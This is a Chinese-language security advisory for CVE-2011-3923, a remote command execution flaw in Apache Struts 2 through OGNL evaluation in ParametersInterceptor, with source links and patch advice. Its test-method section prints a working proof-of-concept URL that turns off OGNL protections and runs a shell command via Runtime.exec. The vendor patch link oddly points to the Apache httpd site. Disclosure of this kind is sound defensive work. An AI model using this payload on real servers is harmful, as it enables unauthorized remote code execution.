发布日期：2012-01-22
更新日期：2012-01-22

受影响系统：

Apache Group Struts 2.x

不受影响系统：

Apache Group Struts 2.3.1.2

描述：

---

BUGTRAQ  ID: 51628
CVE(CAN) ID: CVE-2011-3923

Apache Struts是一款开发Java web应用程序的开源Web应用框架。

Apache Struts 2.0.0 - 2.3.1.1内存在远程命令执行漏洞，ParametersInterceptor允许使用括号，这样在处理不匹配的属性数据类型时，ParametersInterceptor又可将参数值解释为OGNL表达式，远程攻击者可通过特制的参数利用此漏洞执行任意代码。

<*来源：Meder Kydyraliev （bugtraq@web.areopag.net）
  
  链接：http://packetstormsecurity.com/files/120908/struts_code_exec_parameters.rb.txt
        http://packetstormsecurity.com/files/osvdb/OSVDB-78501
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/myaction?foo=(#context[&quot;xwork.MethodAccessor.denyMethodExecution&quot;]= new

java.lang.Boolean(false), #_memberAccess[&quot;allowStaticMethodAccess&quot;]= new java.lang.Boolean(true),

@java.lang.Runtime@getRuntime().exec(&#39;mkdir /tmp/PWND&#39;))(meh)&amp;amp;z[(foo)(&#39;meh&#39;)]=true

建议：

---

厂商补丁：

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://httpd.apache.org/

浏览次数：3549
严重程度：0（网友投票）